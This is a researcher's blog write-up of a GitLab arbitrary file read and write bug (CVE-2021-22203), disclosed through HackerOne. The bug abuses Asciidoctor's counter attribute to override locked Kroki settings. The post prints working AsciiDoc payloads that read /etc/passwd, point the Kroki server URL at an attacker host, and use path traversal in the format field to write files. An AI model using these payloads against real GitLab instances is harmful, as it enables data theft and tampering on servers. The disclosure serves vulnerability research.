GitLab Arbitrary File Read & Write through Kroki - CVE-2021-22203

I have always been interesting at how different markup parsers works. For github-markup particularly, there are various forms of formats and markup languages that the gem supported:

  • Asciidoctor
  • Markdown
  • Creole
  • etc.

They are listed in the following part of github-markup gem

    MARKUP_ASCIIDOC = :asciidoc
    MARKUP_CREOLE = :creole
    MARKUP_MARKDOWN = :markdown
    MARKUP_MEDIAWIKI = :mediawiki
    MARKUP_ORG = :org
    MARKUP_POD = :pod
    MARKUP_RDOC = :rdoc
    MARKUP_RST = :rst
    MARKUP_TEXTILE = :textile
    MARKUP_POD6 = :pod6

Most of them are exceptionally well audited in term of security even though some of the source code were written a very long time ago.

Finding useful functionalities

Some of them have very useful functionalities such as include files, making HTTP requests to download contents, etc. in which I am very curious about.

For example, restructeredText has an attribute called file or url on some of the directives such as csv-table, raw or include.

I guess you already know from the document that those attributes are blocked if file_insertion_enabled settings is set to false, and this is the case for the github-markup

SETTINGS = {
    'cloak_email_addresses': False,
    'file_insertion_enabled': False,
    'raw_enabled': True,
    'strip_comments': True,
    'doctitle_xform': True,
    'initial_header_level': 2,
    'report_level': 5,
    'syntax_highlight': 'none',
    'math_output': 'latex',
    'field_name_limit': 50,
}

Same thing happens with asciidoctor, if the security-mode is set to SECURE and allow-uri-read attributes is set to false, all the file reads functions are simple not possible.

def image_uri(target_image, asset_dir_key = 'imagesdir')
    if (doc = @document).safe < SafeMode::SECURE && (doc.attr? 'data-uri')
      if ((Helpers.uriish? target_image) && (target_image = Helpers.encode_spaces_in_uri target_image)) ||
          (asset_dir_key && (images_base = doc.attr asset_dir_key) && (Helpers.uriish? images_base) &&
          (target_image = normalize_web_path target_image, images_base, false))
        (doc.attr? 'allow-uri-read') ? (generate_data_uri_from_uri target_image, (doc.attr? 'cache-uri')) : target_image
      else
        generate_data_uri target_image, asset_dir_key
      end
    else
      normalize_web_path target_image, (asset_dir_key ? (doc.attr asset_dir_key) : nil)
    end
  end

generate_data_uri makes call to File.binread which is reading file at the path specified in the target_image parameter.

::File.binread image_path

Bypassing the constraints (partially)

I was going to pick either restructeredText or asciidoctor and decided to choose the later to do further researching on how I could bypass these constraints to eventually find a security bug.

The first thing which I instinctively did was to find a way to set the attribute allow-uri-read to true before thinking about setting the doc.safe to other value than SECURE.

Asciidoctor allows markup files to set arbitrary attributes for documents

For example, :test: haah will set doc.attr["test"] to haah

However, if the attribute is predefined with a value when initializing Asciidoctor, that attribute is locked and will prevent the document from changing the attribute value, this is expressed in the following function

def attribute_locked?(name)
    @attribute_overrides.key?(name)
  end

You may wonder what is @attribute_overrides, it contains all the pairs of key and value set during the initialization of Asciidcotor along with some pre-defined paris such as docdir, outfile, etc, allow-uri-read is always in here but it has a default value of nil

# the only way to set the allow-uri-read attribute is via the API; disabled by default
attr_overrides['allow-uri-read'] ||= nil

This is what GitLab did for the initalization of Asciidoctor.

 DEFAULT_ADOC_ATTRS = {
        'showtitle' => true,
        'sectanchors' => true,
        'idprefix' => 'user-content-',
        'idseparator' => '-',
        'env' => 'gitlab',
        'env-gitlab' => '',
        'source-highlighter' => 'gitlab-html-pipeline',
        'icons' => 'font',
        'outfilesuffix' => '.adoc',
        'max-include-depth' => MAX_INCLUDE_DEPTH,
        # This feature is disabled because it relies on File#read to read the file.
        # If we want to enable this feature we will need to provide a "GitLab compatible" implementation.
        # This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
        # The value can be a path or a URL.
        'kroki-plantuml-include!' => '',
        # This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
        'kroki-fetch-diagram!' => ''
    }.freeze
 ...
 asciidoc_opts = { safe: :secure,
                        backend: :gitlab_html5,
                        attributes: DEFAULT_ADOC_ATTRS
                         ....

      html = ::Asciidoctor.convert(input, asciidoc_opts)

Unless someone at GitLab decided that they are going to add allow-uri-read to the list of attributes defined in asciidoc_opts. I wouldn’t have a chance at going further :P. However, counter function gives me a glimpse look of how I could possibly change the @attributes without having to go thru attribute_locked?

def counter name, seed = nil
    return @parent_document.counter name, seed if @parent_document
    if (attr_seed = !(attr_val = @attributes[name]).nil_or_empty?) && (@counters.key? name)
      @attributes[name] = @counters[name] = Helpers.nextval attr_val
    elsif seed
      @attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
    else
      @attributes[name] = @counters[name] = Helpers.nextval attr_seed ? attr_val : 0
    end
  end

If the counter with name hasn’t been set and name is not in the document attributes, then it will be set with the value of seed. @attributes[name] is set directly to seed without having to go thru attribute_locked?. Thus allowing the changing or create any attribute with arbitrary value.

Passing across the document for the usage of counter and found out I just need to do this in asciidcotor document {counter:allow-uri-read:true} and @attributes['allow-uri-read'] will be set to true in my document.

attributes = {
    'showtitle' => '@',
    'idprefix' => '',
    'idseparator' => '-',
    'sectanchors' => nil,
    'env' => 'github',
    'env-github' => '',
    'source-highlighter' => 'html-pipeline'
}
content = <<test
[#goals]
{counter:allow-uri-read:true}
test

Asciidoctor.convert(content, :safe => :secure, :attributes => attributes)

Set a break point to the counter function furthermore confirmed the bug.

So, I have found a way to set allow-uri-read. I thought I could maybe change attributes like safe-mode-level, safe-mode to change the @safe to another value other than the predefined SECURE but unfortunately, there simply no way to change this variable @safe except setting it in the initialization. I decided to not dig further because there is simply no point for me to do that.

GitLab Kroki

Reading the initialization of GitLab Asciidoctor, I’ve found a very intruging comments

        # The value can be a path or a URL.
        'kroki-plantuml-include!' => '',
        # This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
        'kroki-fetch-diagram!' => ''

Basically, GitLab is preventing us from ever changing or setting these attributes in our document.

Hmm, I enabled GitLab Kroki to conduct further research. Navigating to the asciidoctor-kroki gem quickly gave me an impression of how these attributes could do.

File read by attribute kroki-plantuml-include

Calling File.read directly with file path as value from File.read(doc.attr('kroki-plantuml-include')

def prepend_plantuml_config(diagram_text, diagram_type, doc)
        if diagram_type == :plantuml && doc.attr?('kroki-plantuml-include')
          # TODO: this behaves different than the JS version
          # The file should be added by !include #{plantuml_include}" once we have a preprocessor for ruby
          config = File.read(doc.attr('kroki-plantuml-include'))
          diagram_text = config + '\n' + diagram_text
        end
        diagram_text
      end      

So by being able to set arbitrary value for kroki-plantuml-include attribute, I am able to read any file that the process running have permission to read. Because the File.read happens in the source code of this ruby gem in GitLab, the file that is being fetched is from the GitLab box itself not the Kroki server.

The following payload will fetch /etc/passwd and append it as Base64 + compressed data in the path of the URL sending to Kroki server

[#goals]

[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
...

Base64 Decoding + Decompressing will give us the content of /etc/passwd

File write by attribute kroki-fetch-diagram

Setting kroki-fetch-diagram to any value will allow the asciidoctor-kroki gem to save the diagram to your local disk.

def create_image_src(doc, kroki_diagram, kroki_client)
        if doc.attr('kroki-fetch-diagram')
          kroki_diagram.save(output_dir_path(doc), kroki_client)
        else
          kroki_diagram.get_diagram_uri(server_url(doc))
        end
end

This makes call to the following function

 def save(output_dir_path, kroki_client)
      diagram_url = get_diagram_uri(kroki_client.server_url)
      diagram_name = "diag-#{Digest::SHA256.hexdigest diagram_url}.#{@format}"
      file_path = File.join(output_dir_path, diagram_name)
      encoding = if @format == 'txt' || @format == 'atxt' || @format == 'utxt'
                   'utf8'
                 elsif @format == 'svg'
                   'binary'
                 else
                   'binary'
                 end
      # file is either (already) on the file system or we should read it from Kroki
      contents = File.exist?(file_path) ? File.open(file_path, &:read) : kroki_client.get_image(self, encoding)
      FileUtils.mkdir_p(output_dir_path)
      if encoding == 'binary'
        File.binwrite(file_path, contents)
      else
        File.write(file_path, contents)
      end
      diagram_name
    end

Basically, File.binwrite and File.write is called with file_path parameter. the value for this parameter is affected by the following:

  • #{Digest::SHA256.hexdigest diagram_url}
  • @format –> I could change this

Because of our ability to influence the value of file_path, we could make the gem saving the file to arbitrary locaiton.

The hosting of the file’s content could be done by simply pointing GitLab Kroki to another server other than the one set by a Gitlab Admin. This could be done by changing the fllowing attributes:

# Define the Kroki server URL from the settings.
        # This attribute cannot be overridden from the AsciiDoc document.
        'kroki-server-url' => Gitlab::CurrentSettings.kroki_url

        # I COULD CHANGE THIS BY USING COUNTER :P

the following counter payload will change the kroki-server-url to a malicious one

{counter:kroki-server-url:http://malicious.net/}

Host an webserver to always serving for a file regardless of HTTP Methods, URLs, etc. then we are able to make asciidoctor-kroki write to abitrary location.

First we need to construct the #{Digest::SHA256.hexdigest diagram_url}. Why? Because of how weird ruby File works,

non-existing-dir/../../../../../../../etc/passwd -> will always throw an exception if there exists in the file path a non-existing file or directory We need that non-existing-dir to exists which is diag-#{Digest::SHA256.hexdigest diagram_url} in our case. So what we need to do:

  • Get the location of the file that we are going to write to. For example, /tmp/test_file_write.txt

  • Construct the URL with the data of the diagram

This step is a bit complicated, we need the Base64 Compressed data of the diagram, so for example if you submit the following diagram

....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....

The Base64 Compressed data will be

eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ==

We need this to correct construct the correct URL for the specified diagram in our payload in order for creating a correct directory to avoid exception from File.write

Then construct the URL with following format:

http://kroki-host/../../../../../../../../file-location/base64-compressed-data

For example:

http://192.168.69.1:8082/plantuml/../../../../../../tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ==

I used the following snippet to generate SHA-256 of the URL:

p "diag-#{Digest::SHA256.hexdigest test = string}"
  • Run the payload with attributes imagesdir to diag-<SHA256 value>. to create a directory of the file.

Example:

[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/

[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
  • Run the payload again with imagesdir set to . to to allow File.write to not throw an exception.
[#goals]
:imagesdir: .
:outdir: /tmp/

[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....

The PoC video could be found in my H1 report: https://hackerone.com/reports/1098793

Conclusion

To wrap things up, I have one general thing to give to all the geeks like me:

  • Always try it yourself to see things actually work as intended. Even if you don’t find flaws, You will at least know much more detail about the things you researching,

Both, asciidoctor and asciidoctor-kroki are updated, now you can neither change the @attributes nor @format for asciidoctor-kroki. I think this is suffcient enough for fixing the vulnerability.

I earned $5600 for this bug. I recommend you read the report along side with this blog post, you could check it here: https://hackerone.com/reports/1098793. Thank you to all the GitLab Security guys and @vakzz for raising my interest in looking at the markup implementation.

2021

Back to Top ↑